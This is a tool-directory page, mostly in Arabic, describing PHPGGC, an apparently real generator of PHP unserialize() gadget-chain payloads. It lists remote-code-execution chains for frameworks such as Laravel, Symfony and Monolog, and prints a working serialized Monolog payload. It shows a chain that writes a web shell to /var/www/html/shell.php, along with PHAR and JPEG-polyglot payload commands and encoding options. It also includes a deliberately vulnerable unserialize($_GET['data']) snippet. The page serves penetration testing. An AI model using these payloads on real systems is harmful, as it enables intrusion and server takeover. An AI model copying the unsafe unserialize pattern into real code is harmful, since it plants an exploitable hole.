Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
phpggc — PHPGGC هي مكتبة من حمولات unserialize() الخاصة بـ PHP، بالإضافة إلى أداة لتوليدها، سواء من سطر الأوامر أو برمجيًا. | Kitploit
أدوات/GitHubGitHub/ambionics/phpggc
أطر الاستغلالتوليد الحمولةالاستغلالاستغلال تطبيقات الويب
GitHubambionics/phpggc

phpggc

PHPGGC هي مكتبة من حمولات unserialize() الخاصة بـ PHP، بالإضافة إلى أداة لتوليدها، سواء من سطر الأوامر أو برمجيًا.

عرض المستودع
3.9k55927منذ سنة واحدةتمت المراجعة من قبل Kitploit
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PHPGGC: سلاسل الأدوات العامة لـ PHP

PHPGGC هي مكتبة من حمولات unserialize() بالإضافة إلى أداة لتوليدها، من سطر الأوامر أو برمجيًا. عند مواجهة unserialize على موقع لا تملك كوده، أو ببساطة عند محاولة بناء استغلال، تتيح لك هذه الأداة توليد الحمولة دون الحاجة إلى المرور بالخطوات المملة للعثور على الأدوات ودمجها. يمكن اعتبارها المكافئ لـ frohoff's ysoserial، لكن بالنسبة لـ PHP. حاليًا، تدعم الأداة سلاسل الأدوات مثل: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii وZendFramework.

Requirements

يتطلب تشغيل PHPGGC إصدار PHP >= 5.6.

Usage

شغّل ./phpggc -l للحصول على قائمة بسلاسل الأدوات:

$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                    RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

تصفية سلاسل الأدوات:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

كل سلسلة أدوات تحتوي على:

  • الاسم: اسم الإطار/المكتبة
  • الإصدار: إصدار الإطار/المكتبة الذي صُممت من أجله الأدوات
  • النوع: نوع الاستغلال: RCE، كتابة ملف، قراءة ملف، تضمين...
  • الناقل: الناقل الذي يشغّل السلسلة بعد unserialize (__destruct()، __toString()، offsetGet()، ...)
  • المعلومات: معلومات أخرى حول السلسلة

استخدم -i للحصول على معلومات مفصلة حول سلسلة:

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

بالنسبة لأدوات RCE، يمكن أن يكون للأمر المنفَّذ 3 أنواع من التنسيق اعتمادًا على كيفية عمل الأداة:

  • RCE (أمر): ./phpggc Symfony/RCE1 id
  • RCE (كود PHP): ./phpggc Symfony/RCE2 'phpinfo();'
  • RCE (استدعاء دالة): ./phpggc Symfony/RCE4 system id

بمجرد اختيار سلسلة، شغّل ./phpggc <gadget-chain> [parameters] للحصول على الحمولة. على سبيل المثال، للحصول على حمولة لـ Monolog، يمكنك القيام بما يلي:

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

لكتابة ملف باستخدام SwiftMailer، يمكنك القيام بما يلي:

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Wrapper

يتيح لك الخيار --wrapper (-w) تعريف ملف PHP يحتوي على الدوال التالية:

  • process_parameters(array $parameters): تُستدعى مباشرة قبل generate()، وتسمح بتغيير المعاملات
  • process_object(object $object): تُستدعى مباشرة قبل serialize()، وتسمح بتغيير الكائن
  • process_serialized(string $serialized): تُستدعى مباشرة بعد serialize()، وتسمح بتغيير السلسلة المتسلسلة

على سبيل المثال، إذا كان الكود الهش يبدو هكذا:

<?php
$data = unserialize($_GET['data']);
print $data['message'];

يمكنك استخدام سلسلة __toString()، مع تغليفها على النحو التالي:

<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

وبعدها تستدعي phpggc كما يلي:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

History

في BlackHat US 2018، أصدر @s_n_t أداة PHARGGC، وهي فرع من PHPGGC يعمل، بدلاً من بناء حمولة متسلسلة، على بناء ملف PHAR كامل. يحتوي ملف PHAR هذا على بيانات متسلسلة، وبالتالي يمكن استخدامه لتقنيات استغلال متنوعة (file_exists, fopen, وغيرها). الورقة البحثية موجودة هنا.

Implementation

تأتي أرشيفات PHAR بثلاثة تنسيقات مختلفة: PHAR، TAR، وZIP. التنسيقات الثلاثة مدعومة في PHPGGC. يمكن توليد ملفات Polyglot باستخدام --phar-jpeg (-pj). تتوفر خيارات أخرى (استخدم -h).

أمثلة

$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

Encoders

تسمح الوسائط بتعديل طريقة إخراج الحمولة. على سبيل المثال، -u سيقوم بترميزها لـ URL، و-b سيحوّلها إلى base64. غالبًا ما تحتوي الحمولات على بايتات NULL ولا يمكن نسخها ولصقها كما هي. استخدم -s لترميز URL معتدل، مما يُبقي الحمولة مقروءة.

يمكن سلسلة الترميزات، وبالتالي الترتيب مهم. على سبيل المثال، ./phpggc -b -u -u slim/rce1 system id سيحوّل الحمولة إلى base64، ثم يرمّزها لـ URL مرتين.

متقدم: تحسينات

التدمير السريع

تنزيل الأداة